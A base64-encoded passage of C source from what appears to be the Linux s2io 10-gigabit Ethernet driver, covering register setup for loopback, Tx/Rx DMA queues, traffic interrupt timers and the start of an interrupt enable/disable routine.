MHg4MDA0MDUxNTAwMDAwMDAwKTsKCXVkZWxheSAoNTApOwoJd3JpdGU2NCgmYmFyMC0+ZHR4X2Nv bnRyb2wsMHg4MDA0MDUxNTAwMDAwMEUwKTsKCXVkZWxheSAoNTApOwoJd3JpdGU2NCgmYmFyMC0+ ZHR4X2NvbnRyb2wsMHg4MDA0MDUxNUIyMDAwMEU0KTsKCXVkZWxheSAoNTApOwoKLyogU2V0IFBB RExPT1BCQUNLTiAqLwoJd3JpdGU2NCgmYmFyMC0+ZHR4X2NvbnRyb2wsMHg4MDA1MDUxNTAwMDAw MDAwKTsKCXVkZWxheSAoNTApOwoJd3JpdGU2NCgmYmFyMC0+ZHR4X2NvbnRyb2wsMHg4MDA1MDUx NTAwMDAwMEUwKTsKCXVkZWxheSAoNTApOwoJd3JpdGU2NCgmYmFyMC0+ZHR4X2NvbnRyb2wsMHg4 MDA1MDUxNUIyMDAwMEU0KTsKCXVkZWxheSAoNTApOwoKLyogUmVzZXQgUE1BIFBMTCAqLwoJd3Jp dGU2NCgmYmFyMC0+bWRpb19jb250cm9sLDB4QzAwMTAxMDAwMDAwMDAwMCk7Cgl1ZGVsYXkgKDUw KTsKCXdyaXRlNjQoJmJhcjAtPm1kaW9fY29udHJvbCwweEMwMDEwMTAwMDAwMDAwRTApOwoJdWRl bGF5ICg1MCk7Cgl3cml0ZTY0KCZiYXIwLT5tZGlvX2NvbnRyb2wsMHhDMDAxMDEwMDAwODAwMEU0 KTsKCXVkZWxheSAoNTApOwoKLyogUmVtb3ZlIFJlc2V0IGZyb20gUE1BIFBMTCAqLwoJd3JpdGU2 NCgmYmFyMC0+bWRpb19jb250cm9sLDB4QzAwMTAxMDAwMDAwMDAwMCk7Cgl1ZGVsYXkgKDUwKTsK CXdyaXRlNjQoJmJhcjAtPm1kaW9fY29udHJvbCwweEMwMDEwMTAwMDAwMDAwRTApOwoJdWRlbGF5 ICg1MCk7Cgl3cml0ZTY0KCZiYXIwLT5tZGlvX2NvbnRyb2wsMHhDMDAxMDEwMDAwMDAwMEU0KTsK CXVkZWxheSAoNTApOwoKLyogUmVtb3ZlIFBBRExPT1BCQUNLTiAqLwoJd3JpdGU2NCgmYmFyMC0+ ZHR4X2NvbnRyb2wsMHg4MDAyMDUxNTAwMDAwMDAwKTsKCXVkZWxheSAoNTApOwoJd3JpdGU2NCgm YmFyMC0+ZHR4X2NvbnRyb2wsMHg4MDAyMDUxNTAwMDAwMEUwKTsKCXVkZWxheSAoNTApOwoJd3Jp dGU2NCgmYmFyMC0+ZHR4X2NvbnRyb2wsMHg4MDAyMDUxNUYyMDAwMEU0KTsKCXVkZWxheSAoNTAp OwoKLyogUmVtb3ZlIFBBRExPT1BCQUNLTiAqLwoJd3JpdGU2NCgmYmFyMC0+ZHR4X2NvbnRyb2ws MHg4MDAzMDUxNTAwMDAwMDAwKTsKCXVkZWxheSAoNTApOwoJd3JpdGU2NCgmYmFyMC0+ZHR4X2Nv bnRyb2wsMHg4MDAzMDUxNTAwMDAwMEUwKTsKCXVkZWxheSAoNTApOwoJd3JpdGU2NCgmYmFyMC0+ ZHR4X2NvbnRyb2wsMHg4MDAzMDUxNUYyMDAwMEU0KTsKCXVkZWxheSAoNTApOwoKLyogUmVtb3Zl IFBBRExPT1BCQUNLTiAqLwoJd3JpdGU2NCgmYmFyMC0+ZHR4X2NvbnRyb2wsMHg4MDA0MDUxNTAw MDAwMDAwKTsKCXVkZWxheSAoNTApOwoJd3JpdGU2NCgmYmFyMC0+ZHR4X2NvbnRyb2wsMHg4MDA0 MDUxNTAwMDAwMEUwKTsKCXVkZWxheSAoNTApOwoJd3JpdGU2NCgmYmFyMC0+ZHR4X2NvbnRyb2ws MHg4MDA0MDUxNUYyMDAwMEU0KTsKCXVkZWxheSAoNTApOwoKLyogUmVtb3ZlIFBBRExPT1BCQUNL TiAqLwoJd3JpdGU2NCgmYmFyMC0+ZHR4X2NvbnRyb2wsMHg4MDA1MDUxNTAwMDAwMDAwKTsKCXVk ZWxheSAoNTApOwoJd3JpdGU2NCgmYmFyMC0+ZHR4X2NvbnRyb2wsMHg4MDA1MDUxNTAwMDAwMEUw KTsKCXVkZWxheSAoNTApOwoJd3JpdGU2NCgmYmFyMC0+ZHR4X2NvbnRyb2wsMHg4MDA1MDUxNUYy MDAwMEU0KTsKCXVkZWxheSAoNTApOwojZW5kaWYKCQovKiAgVHggRE1BIEluaXRpYWxpemF0aW9u ICovCgl2YWw2ND0wOwoJd3JpdGU2NCgmYmFyMC0+dHhfZmlmb19wYXJ0aXRpb25fMCwgdmFsNjQp OwoJd3JpdGU2NCgmYmFyMC0+dHhfZmlmb19wYXJ0aXRpb25fMSwgdmFsNjQpOwoJd3JpdGU2NCgm YmFyMC0+dHhfZmlmb19wYXJ0aXRpb25fMiwgdmFsNjQpOwoJd3JpdGU2NCgmYmFyMC0+dHhfZmlm b19wYXJ0aXRpb25fMywgdmFsNjQpOwoKCWZvcihpPTAsaj0wO2k8bmljLT5jb25maWcuVHhGSUZP TnVtO2krKykgewoJCXZhbDY0IHw9IHZCSVQobmljLT5jb25maWcuVHhDZmdbaV0uRmlmb0xlbi0x LCgoaSozMikrMTkpLDEzKSB8CgkJCXZCSVQobmljLT5jb25maWcuVHhDZmdbaV0uRmlmb1ByaW9y aXR5LCAoKGkqMzIpKzUpLDMpOwoKCQlpZihpID09IChuaWMtPmNvbmZpZy5UeEZJRk9OdW0tMSkp IHsKCQkJaWYoaSUyID09IDApCgkJCQlpKys7CgkJfQoKCQlzd2l0Y2goaSkgewoJCQljYXNlIDE6 CgkJCXdyaXRlNjQoJmJhcjAtPnR4X2ZpZm9fcGFydGl0aW9uXzAsIHZhbDY0KTsKCQkJdmFsNjQg PSAwOwoJCQlicmVhazsKCQkJY2FzZSAzOgoJCQl3cml0ZTY0KCZiYXIwLT50eF9maWZvX3BhcnRp dGlvbl8xLCB2YWw2NCk7CgkJCXZhbDY0ID0gMDsKCQkJYnJlYWs7CgkJCWNhc2UgNToKCQkJd3Jp dGU2NCgmYmFyMC0+dHhfZmlmb19wYXJ0aXRpb25fMiwgdmFsNjQpOwoJCQl2YWw2NCA9IDA7CgkJ CWJyZWFrOwoJCQljYXNlIDc6CgkJCXdyaXRlNjQoJmJhcjAtPnR4X2ZpZm9fcGFydGl0aW9uXzMs IHZhbDY0KTsKCQkJYnJlYWs7CgkJfQoJfQoKLyogRW5hYmxlIFR4IEZJRk8gcGFydGl0aW9uIDAu ICovCgl2YWw2NCA9IHJlYWQ2NCgmYmFyMC0+dHhfZmlmb19wYXJ0aXRpb25fMCk7Cgl2YWw2NCB8 PSBCSVQoMCk7IC8qIFRvIGVuYWJsZSB0aGUgRklGTyBwYXJ0aXRpb24uICovCgl3cml0ZTY0KCZi YXIwLT50eF9maWZvX3BhcnRpdGlvbl8wLCB2YWw2NCk7CgoJdmFsNjQgPSByZWFkNjQoJmJhcjAt PnR4X2ZpZm9fcGFydGl0aW9uXzApOwoJI2lmbmRlZiBYRU5BX0FSQ0hfNjQKCURCR19QUklOVChJ TklUX0RCRywiRmlmbyBwYXJ0aXRpb24gYXQ6IDB4JXAgaXM6IDB4JWxseFxuIiwgCgkJJmJhcjAt PnR4X2ZpZm9fcGFydGl0aW9uXzAsIHZhbDY0KTsKCSNlbHNlCglEQkdfUFJJTlQoSU5JVF9EQkcs IkZpZm8gcGFydGl0aW9uIGF0OiAweCVwIGlzOiAweCVseFxuIiwgCgkJJmJhcjAtPnR4X2ZpZm9f cGFydGl0aW9uXzAsIHZhbDY0KTsKCSNlbmRpZgoKLyogSW5pdGlhbGl6YXRpb24gb2YgVHhfUEFf Q09ORklHIHJlZ2lzdGVyIHRvIGlnbm9yZSBwYWNrZXQgaW50ZWdyaXR5IAogKiBjaGVja2luZy4K ICovCgl2YWw2NCA9IHJlYWQ2NCgmYmFyMC0+dHhfcGFfY2ZnKTsKCXZhbDY0IHw9IFRYX1BBX0NG R19JR05PUkVfRlJNX0VSUiB8IFRYX1BBX0NGR19JR05PUkVfU05BUF9PVUkgfCAKCQkgVFhfUEFf Q0ZHX0lHTk9SRV9MTENfQ1RSTCB8VFhfUEFfQ0ZHX0lHTk9SRV9MMl9FUlI7Cgl3cml0ZTY0KCZi YXIwLT50eF9wYV9jZmcsIHZhbDY0KTsKCQkKLyogUnggRE1BIGludGlhbGl6YXRpb24uICovCgl2 YWw2NCA9IDA7Cglmb3IoaT0wOyBpPG5pYy0+Y29uZmlnLlJ4UmluZ051bTsgaSsrKSB7Cgl2YWw2 NCB8PSB2QklUKG5pYy0+Y29uZmlnLlJ4Q2ZnW2ldLlJpbmdQcmlvcml0eSwgKDUrKGkqOCkpLDMp OwoJfQoJd3JpdGU2NCgmYmFyMC0+cnhfcXVldWVfcHJpb3JpdHksIHZhbDY0KTsKCi8qIEFsbG9j YXRpbmcgZXF1YWwgc2hhcmUgb2YgbWVtb3J5IHRvIGFsbCB0aGUgY29uZmlndXJlZCBSaW5ncy4g Ki8JCiNpZiAxCgl2YWw2NCA9IDA7Cglmb3IoaT0wOyBpPG5pYy0+Y29uZmlnLlJ4UmluZ051bTsg aSsrKSB7CgkJc3dpdGNoKGkpIHsKCQljYXNlIDA6CgkJCW1lbV9zaGFyZSA9ICg2NC9uaWMtPmNv bmZpZy5SeFJpbmdOdW0gKyAKCQkJCQk2NCAlIG5pYy0+Y29uZmlnLlJ4UmluZ051bSk7CgkJCXZh bDY0IHw9IFJYX1FVRVVFX0NGR19RMF9TWihtZW1fc2hhcmUpOwoJCQljb250aW51ZTsKCQljYXNl IDE6CgkJCW1lbV9zaGFyZSA9ICg2NC9uaWMtPmNvbmZpZy5SeFJpbmdOdW0pOyAKCQkJdmFsNjQg fD0gUlhfUVVFVUVfQ0ZHX1ExX1NaKG1lbV9zaGFyZSk7CgkJCWNvbnRpbnVlOwoJCWNhc2UgMjoK CQkJbWVtX3NoYXJlID0gKDY0L25pYy0+Y29uZmlnLlJ4UmluZ051bSk7IAoJCQl2YWw2NCB8PSBS WF9RVUVVRV9DRkdfUTJfU1oobWVtX3NoYXJlKTsKCQkJY29udGludWU7CgkJY2FzZSAzOgoJCQlt ZW1fc2hhcmUgPSAoNjQvbmljLT5jb25maWcuUnhSaW5nTnVtKTsgCgkJCXZhbDY0IHw9IFJYX1FV RVVFX0NGR19RM19TWihtZW1fc2hhcmUpOwoJCQljb250aW51ZTsKCQljYXNlIDQ6CgkJCW1lbV9z aGFyZSA9ICg2NC9uaWMtPmNvbmZpZy5SeFJpbmdOdW0pOyAKCQkJdmFsNjQgfD0gUlhfUVVFVUVf Q0ZHX1E0X1NaKG1lbV9zaGFyZSk7CgkJCWNvbnRpbnVlOwoJCWNhc2UgNToKCQkJbWVtX3NoYXJl ID0gKDY0L25pYy0+Y29uZmlnLlJ4UmluZ051bSk7IAoJCQl2YWw2NCB8PSBSWF9RVUVVRV9DRkdf UTVfU1oobWVtX3NoYXJlKTsKCQkJY29udGludWU7CgkJY2FzZSA2OgoJCQltZW1fc2hhcmUgPSAo NjQvbmljLT5jb25maWcuUnhSaW5nTnVtKTsgCgkJCXZhbDY0IHw9IFJYX1FVRVVFX0NGR19RNl9T WihtZW1fc2hhcmUpOwoJCQljb250aW51ZTsKCQljYXNlIDc6CgkJCW1lbV9zaGFyZSA9ICg2NC9u aWMtPmNvbmZpZy5SeFJpbmdOdW0pOyAKCQkJdmFsNjQgfD0gUlhfUVVFVUVfQ0ZHX1E3X1NaKG1l bV9zaGFyZSk7CgkJCWNvbnRpbnVlOwoJCX0KCX0KCXZhbDY0ID0gUlhfUVVFVUVfQ0ZHX1EwX1Na KDY0KTsKCXdyaXRlNjQoJmJhcjAtPnJ4X3F1ZXVlX2NmZywgdmFsNjQpOwojZWxzZQkKCXZhbDY0 ID0gUlhfUVVFVUVfQ0ZHX1EwX1NaKDY0KTsKCXdyaXRlNjQoJmJhcjAtPnJ4X3F1ZXVlX2NmZywg dmFsNjQpOwkvKiBTZXR0aW5nIFEwIHdpdGggYWxsIFJMRFJBTSAKCQkJCQkJICogc3BhY2UuCgkJ CQkJCSAqLwojZW5kaWYKCi8qIEluaXRpYWxpemluZyB0aGUgUnggcm91bmQgcm9iaW4gcmVnaXN0 ZXJzLgogKiBTdGlsbCB0byBmaWxsIHRoZSBSb3VuZCBSb2JpbiByZWdpc3RlcnMgZGVwZW5kaW5n IG9uIG51bWJlciBvZiAKICogVHggRklGT3MgYW5kIFJ4IFJJTkdzLiBBcyBvZiBub3cgVGhlIFJ4 IHJvdW5kIHJvYmluIHJlZ2lzdGVycyAKICogd2lsbCBiZSBpbml0bGFpemVkIHdpdGggdGhlIHNh bWUgdmFsdWVzIGFzIHRoZSBUeCBjb3VudGVycGFydHMuCiAqIFRPRE8gKi8KCSB3cml0ZTY0KCZi YXIwLT5yeF93X3JvdW5kX3JvYmluXzAsIHJvdW5kX3JvYmluX3JlZzApOwoJIHdyaXRlNjQoJmJh cjAtPnJ4X3dfcm91bmRfcm9iaW5fMSwgcm91bmRfcm9iaW5fcmVnMSk7Cgkgd3JpdGU2NCgmYmFy MC0+cnhfd19yb3VuZF9yb2Jpbl8yLCByb3VuZF9yb2Jpbl9yZWcyKTsKCSB3cml0ZTY0KCZiYXIw LT5yeF93X3JvdW5kX3JvYmluXzMsIHJvdW5kX3JvYmluX3JlZzMpOwoJIHdyaXRlNjQoJmJhcjAt PnJ4X3dfcm91bmRfcm9iaW5fNCwgcm91bmRfcm9iaW5fcmVnNCk7CgovKiBEaXNhYmxlIFJ4IHN0 ZWVyaW5nLiBIYXJkIGNvZGluZyBhbGwgcGFja2V0cyBiZSBzdGVlcmVkIHRvCiAqIFF1ZXVlIDAg Zm9yIG5vdy4gCiAqIFRPRE8qLwoJaWYocnhfcHJpbykgewoJCXU2NCBkZWYgPSAweDgwMDAwMDAw MDAwMDAwMDAsIHRtcDsKCQlmb3IoaT0wO2k8TUFYX1JYX1JJTkdTO2krKykgewoJCQl0bXAgPSAo dTY0KShkZWYgPj4gKGklbmljLT5jb25maWcuUnhSaW5nTnVtKSk7CgkJCXZhbDY0IHw9ICh1NjQp KHRtcCA+PiAoaSo4KSk7CgkJfQoJICAgIHdyaXRlNjQoJmJhcjAtPnJ0c19xb3Nfc3RlZXJpbmcs IHZhbDY0KTsKCX0gZWxzZSB7CiAgICAJdmFsNjQgPSAweDgwODA4MDgwODA4MDgwODA7CgkgICAg d3JpdGU2NCgmYmFyMC0+cnRzX3Fvc19zdGVlcmluZywgdmFsNjQpOwoJfQoJCi8qIERpc2FibGUg dGhlIGRldmljZSBmcm9tIHBhc3NpbmcgcGFja2V0cyB3aXRoIEwvVCBtaXNtYXRjaCB0byB0aGUg aG9zdC4qLwoJdmFsNjQgPSByZWFkNjQoJmJhcjAtPnJtYWNfZXJyX2NmZyk7Cgl2YWw2NCAmPSB+ Uk1BQ19FUlJfTEVOX01JU01BVENIOwoJd3JpdGU2NCgmYmFyMC0+cm1hY19lcnJfY2ZnLCB2YWw2 NCk7CgkKLyogVURQIEZpeCAqLwoJdmFsNjQgPSAwOwoJZm9yKGk9MTtpPDg7aSsrKQoJCXdyaXRl NjQoJmJhcjAtPnJ0c19mcm1fbGVuX25baV0sIHZhbDY0KTsKCi8qIFNldCBydHNfZnJtX2xlbiBy ZWdpc3RlciBmb3IgZmlmbyAwICovCgl3cml0ZTY0KCZiYXIwLT5ydHNfZnJtX2xlbl9uWzBdLCBN QUNfUlRTX0ZSTV9MRU5fU0VUKChkZXYtPm10dSkrMjIpKTsKCi8qIEVuYWJsZSBzdGF0aXN0aWNz ICovCgl3cml0ZTY0KCZiYXIwLT5zdGF0X2FkZHIsICh1NjQpbmljLT5tYWNfY29udHJvbC5TdGF0 c0luZm9QaHkpOwoJdmFsNjQgPSBTRVRfVVBEVF9QRVJJT0QoOCkgfCBTVEFUX0NGR19TVEFUX1JP IHwgU1RBVF9DRkdfU1RBVF9FTjsKCXdyaXRlNjQoJmJhcjAtPnN0YXRfY2ZnLCB2YWw2NCk7Cgov KiBJbml0aWFsaXppbmcgdGhlIHNhbXBsaW5nIHJhdGUgZm9yIHRoZSBkZXZpY2UgdG8gY2FsY3Vs YXRlIHRoZQogKiBiYW5kd2lkdGggdXRpbGl6YXRpb24uCiAqLwoJdmFsNjQgPSBNQUNfVFhfTElO S19VVElMX1ZBTCgweDUpfE1BQ19SWF9MSU5LX1VUSUxfVkFMKDB4NSk7Cgl3cml0ZTY0KCZiYXIw LT5tYWNfbGlua191dGlsLCB2YWw2NCk7CgovKiBJbml0aWFsaXppbmcgdGhlIFRyYW5zbWl0IGFu ZCBSZWNlaXZlIFRyYWZmaWMgSW50ZXJydXB0IFNjaGVtZSAqLwoKLyogVFRJIEluaXRpYWxpemF0 aW9uICovCgl2YWw2NCA9IFRUSV9EQVRBMV9NRU1fVFhfVElNRVJfVkFMKDB4RkZGKSB8IAoJCVRU SV9EQVRBMV9NRU1fVFhfVVJOR19BKDB4QSkgfCBUVElfREFUQTFfTUVNX1RYX1VSTkdfQigweDEw KSB8CgkJVFRJX0RBVEExX01FTV9UWF9VUk5HX0MoMHgzMCkgfCBUVElfREFUQTFfTUVNX1RYX1RJ TUVSX0FDX0VOOwoJd3JpdGU2NCgmYmFyMC0+dHRpX2RhdGExX21lbSwgdmFsNjQpOwoKCXZhbDY0 ID0gVFRJX0RBVEEyX01FTV9UWF9VRkNfQSgweDEwKSB8IFRUSV9EQVRBMl9NRU1fVFhfVUZDX0Io MHgyMCkgfAoJCVRUSV9EQVRBMl9NRU1fVFhfVUZDX0MoMHg0MCkgfCBUVElfREFUQTJfTUVNX1RY X1VGQ19EKDB4ODApOwoJd3JpdGU2NCgmYmFyMC0+dHRpX2RhdGEyX21lbSwgdmFsNjQpOwoKCXZh bDY0ID0gVFRJX0NNRF9NRU1fV0UgfCBUVElfQ01EX01FTV9TVFJPQkVfTkVXX0NNRDsKCXdyaXRl NjQoJmJhcjAtPnR0aV9jb21tYW5kX21lbSwgdmFsNjQpOwovKiAgV2FpdCBmb3IgdGhlIG9wZXJh dGlvbiB0byBjb21wbGV0ZSAqLwoJdGltZSA9IGppZmZpZXM7Cgl3aGlsZShUUlVFKSB7CgkJdmFs NjQgPSByZWFkNjQoJmJhcjAtPnR0aV9jb21tYW5kX21lbSk7CgkJaWYoISh2YWw2NCAmIFRUSV9D TURfTUVNX1NUUk9CRV9ORVdfQ01EKSkgewoJCQlicmVhazsKCQl9CgkJaWYoKGppZmZpZXMtdGlt ZSkgPiBIWi8yKSB7CgkJCURCR19QUklOVChFUlJfREJHLCIlczogVFRJIGluaXQgRmFpbGVkXG4i LGRldi0+bmFtZSk7CgkJCXJldHVybiAtMTsKCQl9CgkJbWRlbGF5KDEwKTsKCX0KCi8qIFJUSSBJ bml0aWFsaXphdGlvbiAqLwoJdmFsNjQgPSBSVElfREFUQTFfTUVNX1JYX1RJTUVSX1ZBTCgweEZG RikgfCAKCQlSVElfREFUQTFfTUVNX1JYX1VSTkdfQSgweEEpIHwgUlRJX0RBVEExX01FTV9SWF9V Uk5HX0IoMHgxMCkgfCAKCQlSVElfREFUQTFfTUVNX1JYX1VSTkdfQygweDMwKSB8IFJUSV9EQVRB MV9NRU1fUlhfVElNRVJfQUNfRU47Cgl3cml0ZTY0KCZiYXIwLT5ydGlfZGF0YTFfbWVtLCB2YWw2 NCk7CgoJdmFsNjQgPSBSVElfREFUQTJfTUVNX1JYX1VGQ19BKDB4MSkgfCBSVElfREFUQTJfTUVN X1JYX1VGQ19CKDB4MikgfAoJCVJUSV9EQVRBMl9NRU1fUlhfVUZDX0MoMHg0MCkgfCBSVElfREFU QTJfTUVNX1JYX1VGQ19EKDB4ODApOwoJd3JpdGU2NCgmYmFyMC0+cnRpX2RhdGEyX21lbSwgdmFs NjQpOwoKCXZhbDY0ID0gUlRJX0NNRF9NRU1fV0UgfCBSVElfQ01EX01FTV9TVFJPQkVfTkVXX0NN RDsKCXdyaXRlNjQoJmJhcjAtPnJ0aV9jb21tYW5kX21lbSwgdmFsNjQpOwoKLyogIFdhaXQgZm9y IHRoZSBvcGVyYXRpb24gdG8gY29tcGxldGUgKi8KCXRpbWUgPSBqaWZmaWVzOwoJd2hpbGUoVFJV RSkgewoJCXZhbDY0ID0gcmVhZDY0KCZiYXIwLT5ydGlfY29tbWFuZF9tZW0pOwoJCWlmKCEodmFs NjQgJiBUVElfQ01EX01FTV9TVFJPQkVfTkVXX0NNRCkpIHsKCQkJYnJlYWs7CgkJfQoJCWlmKChq aWZmaWVzLXRpbWUpID4gSFovMTApIHsKCQkJREJHX1BSSU5UKEVSUl9EQkcsIiVzOiBSVEkgaW5p dCBGYWlsZWRcbiIsZGV2LT5uYW1lKTsKCQkJcmV0dXJuIC0xOwoJCX0KCQltZGVsYXkoMTApOwoJ fQoKLyogIEluaXRpYWxpemluZyBwcm9wZXIgdmFsdWVzIGFzIFBhdXNlIHRocmVzaG9sZCBpbnRv IGFsbCB0aGUgOCBRdWV1ZXMgCiAqICBvbiBSeCBzaWRlLgogKi8KCXdyaXRlNjQoJmJhcjAtPm1j X3BhdXNlX3RocmVzaF9xMHEzLCAweGZmYmJmZmJiZmZiYmZmYmIpOwoJd3JpdGU2NCgmYmFyMC0+ bWNfcGF1c2VfdGhyZXNoX3E0cTcsIDB4ZmZiYmZmYmJmZmJiZmZiYik7CgovKiBEaXNhYmxlIFJN QUMgUEFEIFNUUklQUElORyAqLwoJYWRkID0gKHZvaWQgKikmYmFyMC0+bWFjX2NmZzsKCXZhbDY0 ID0gcmVhZDY0KCZiYXIwLT5tYWNfY2ZnKTsKCXZhbDY0ICY9IH4oTUFDX0NGR19STUFDX1NUUklQ X1BBRCk7Cgl3cml0ZTY0KCZiYXIwLT5ybWFjX2NmZ19rZXksIFJNQUNfQ0ZHX0tFWSgweDRDMEQp KTsKCXdyaXRlbCgodTMyKSh2YWw2NCksIGFkZCk7Cgl3cml0ZTY0KCZiYXIwLT5ybWFjX2NmZ19r ZXksIFJNQUNfQ0ZHX0tFWSgweDRDMEQpKTsKCXdyaXRlbCgodTMyKSh2YWw2NCA+PjMyKSwgKGFk ZCs0KSk7Cgl2YWw2NCA9IHJlYWQ2NCgmYmFyMC0+bWFjX2NmZyk7CgpyZXR1cm4gU1VDQ0VTUzsK fQoKLyogIAogKiAgSW5wdXQgQXJndW1lbnRzOiAKICogIGRldmljZSBwcml2YXRlIHZhcmlhYmxl LAogKiAgQSBtYXNrIGluZGljYXRpbmcgd2hpY2ggSW50ciBibG9jayBtdXN0IGJlIG1vZGlmaWVk IGFuZCwKICogIEEgZmxhZyBpbmRpY2F0aW5nIHdoZXRoZXIgdG8gZW5hYmxlIG9yIGRpc2FibGUg dGhlIEludHJzLgogKiAgUmV0dXJuIFZhbHVlOiAKICogIE5PTkUuCiAqICBEZXNjcmlwdGlvbjog CiAqICBUaGlzIGZ1bmN0aW9uIHdpbGwgZWl0aGVyIGRpc2FibGUgb3IgZW5hYmxlIHRoZSBpbnRl cnJ1cHRzIAogKiAgZGVwZW5kaW5nIG9uIHRoZSBmbGFnIGFyZ3VtZW50LiBUaGUgbWFzayBhcmd1 bWVudCBjYW4gYmUgdXNlZCB0byAKICogIGVuYWJsZS9kaXNhYmxlIGFueSBJbnRyIGJsb2NrLiAK ICovCnN0YXRpYyB2b2lkIGVuX2Rpc19hYmxlX05pY0ludHJzKHN0cnVjdCBzMmlvX25pYyAqbmlj LCB1MTYgbWFzaywgaW50IGZsYWcpCnsKWEVOQV9kZXZfY29uZmlnX3QgKmJhcjAgPSAoWEVOQV9k ZXZfY29uZmlnX3QgKiluaWMtPmJhcjA7CnJlZ2lzdGVyIHU2NCB2YWw2NCA9IDAsIHRlbXA2NCA9 IDA7CgovKiAgVG9wIGxldmVsIGludGVycnVwdCBjbGFzc2lmaWNhdGlvbiAqLwovKiAgUElDIElu dGVycnVwdHMgKi8KCWlmKChtYXNrICYgKFRYX1BJQ19JTlRSIHwgUlhfUElDX0lOVFIpKSkgewoJ LyogIEVuYWJsZSBQSUMgSW50cnMgaW4gdGhlIGdlbmVyYWwgaW50ciBtYXNrIHJlZ2lzdGVyICov CgkJdmFsNjQgPSBUWFBJQ19JTlRfTSB8IFBJQ19SWF9JTlRfTTsKCQlpZihmbGFnID09IEVOQUJM RV9JTlRSUykgewoJCQl0ZW1wNjQgPSByZWFkNjQoJmJhcjAtPmdlbmVyYWxfaW50X21hc2spOwoJ CQl0ZW1wNjQgJj0gfigodTY0KXZhbDY0KTsKCQkJd3JpdGU2NCgmYmFyMC0+Z2VuZXJhbF9pbnRf bWFzaywgdGVtcDY0KTsKCQkvKiAgRGlzYWJsZWQgYWxsIFBDSVgsIEZsYXNoLCBNRElPLCBJSUMg YW5kIEdQSU8KCQkgKiAgaW50ZXJydXB0cyBmb3Igbm93LiAKCQkgKiBUT0RPICovCgkJCXdyaXRl NjQoJmJhcjAtPnBpY19pbnRfbWFzaywgRElTQUJMRV9BTExfSU5UUlMpOwoJCS8qICBObyBNU0kg U3VwcG9ydCBpcyBhdmFpbGFibGUgcHJlc2VudGx5LCBzbyBUVEkgYW5kCgkJICogUlRJIGludGVy cnVwdHMgYXJlIGFsc28gZGlzYWJsZWQuCgkJICovCgkJfSBlbHNlIGlmKGZsYWcgPT0gRElTQUJM RV9JTlRSUykgewoJCS8qICBEaXNhYmxlIFBJQyBJbnRycyBpbiB0aGUgZ2VuZXJhbCBpbnRyIG1h c2sgcmVnaXN0ZXIgKi8KCQkJd3JpdGU2NCgmYmFyMC0+cGljX2ludF9tYXNrLCBESVNBQkxFX0FM TF9JTlRSUyk7CgkJCXRlbXA2NCA9IHJlYWQ2NCgmYmFyMC0+Z2VuZXJhbF9pbnRfbWFzayk7CgkJ CXZhbDY0IHw9IHRlbXA2NDsKCQkJd3JpdGU2NCgmYmFyMC0+Z2VuZXJhbF9pbnRfbWFzaywgdmFs NjQpOwoJCX0KCX0KCi8qICBETUEgSW50ZXJydXB0cyAqLwovKiAgRW5hYmxpbmcvRGlzYWJsaW5n IFR4IERNQSBpbnRlcnJ1cHRzICovCglpZihtYXNrICYgVFhfRE1BX0lOVFIpIHsKCS8qICBFbmFi bGUgVHhETUEgSW50cnMgaW4gdGhlIGdlbmVyYWwgaW50ciBtYXNrIHJlZ2lzdGVyICovCgkJdmFs NjQgPSBUWERNQV9JTlRfTTsKCQlpZihmbGFnID09IEVOQUJMRV9JTlRSUykgewoJCQl0ZW1wNjQg PSByZWFkNjQoJmJhcjAtPmdlbmVyYWxfaW50X21hc2spOwoJCQl0ZW1wNjQgJj0gfigodTY0KXZh bDY0KTsKCQkJd3JpdGU2NCgmYmFyMC0+Z2VuZXJhbF9pbnRfbWFzaywgdGVtcDY0KTsKCQkvKiBE aXNhYmxlIGFsbCBpbnRlcnJ1cHRzIG90aGVyIHRoYW4gUEZDIGludGVycnVwdCBpbiBETUEgCgkJ ICogbGV2ZWwuCgkJICovCgkJCXZhbDY0ID0gRElTQUJMRV9BTExfSU5UUlMgJiAoflRYRE1BX1BG Q19JTlRfTSk7CgkJCXdyaXRlNjQoJmJhcjAtPnR4ZG1hX2ludF9tYXNrLCB2YWw2NCk7CgkJLyog RW5hYmxlIG9ubHkgdGhlIE1JU0MgZXJyb3IgMSBpbnRlcnJ1cHQgaW4gUEZDIGJsb2NrICovCgkJ CXZhbDY0ID0gRElTQUJMRV9BTExfSU5UUlMgJiAoflBGQ19NSVNDX0VSUl8xKTsKCQkJd3JpdGU2 NCgmYmFyMC0+cGZjX2Vycl9tYXNrLCB2YWw2NCk7CgkJfSBlbHNlIGlmKGZsYWcgPT0gRElTQUJM RV9JTlRSUykgewoJCS8qICBEaXNhYmxlIFR4RE1BIEludHJzIGluIHRoZSBnZW5lcmFsIGludHIg bWFzayByZWdpc3RlciAqLwoJCQl3cml0ZTY0KCZiYXIwLT50eGRtYV9pbnRfbWFzaywgRElTQUJM RV9BTExfSU5UUlMpOwoJCQl3cml0ZTY0KCZiYXIwLT5wZmNfZXJyX21hc2ssIERJU0FCTEVfQUxM X0lOVFJTKTsKCQkJdGVtcDY0ID0gcmVhZDY0KCZiYXIwLT5nZW5lcmFsX2ludF9tYXNrKTsKCQkJ dmFsNjQgfD0gdGVtcDY0OwoJCQl3cml0ZTY0KCZiYXIwLT5nZW5lcmFsX2ludF9tYXNrLCB2YWw2 NCk7CgkJfQoJfQoKLyogIEVuYWJsaW5nL0Rpc2FibGluZyBSeCBETUEgaW50ZXJydXB0cyAqLwoJ aWYobWFzayAmIFJYX0RNQV9JTlRSKSB7CgkvKiAgRW5hYmxlIFJ4RE1BIEludHJzIGluIHRoZSBn ZW5lcmFsIGludHIgbWFzayByZWdpc3RlciAqLwoJCXZhbDY0ID0gUlhETUFfSU5UX007CgkJaWYo ZmxhZyA9PSBFTkFCTEVfSU5UUlMpIHsKCQkJdGVtcDY0ID0gcmVhZDY0KCZiYXIwLT5nZW5lcmFs X2ludF9tYXNrKTsKCQkJdGVtcDY0ICY9IH4oKHU2NCl2YWw2NCk7CgkJCXdyaXRlNjQoJmJhcjAt PmdlbmVyYWxfaW50X21hc2ssIHRlbXA2NCk7CgkJLyogQWxsIFJ4RE1BIGJsb2NrIGludGVycnVw dHMgYXJlIGRpc2FibGVkIGZvciBub3cgVE9ETyovCgkJCXdyaXRlNjQoJmJhcjAtPnJ4ZG1hX2lu dF9tYXNrLCBESVNBQkxFX0FMTF9JTlRSUyk7CgkJfSBlbHNlIGlmKGZsYWcgPT0gRElTQUJMRV9J TlRSUykgewoJCS8qICBEaXNhYmxlIFJ4RE1BIEludHJzIGluIHRoZSBnZW5lcmFsIGludHIgbWFz 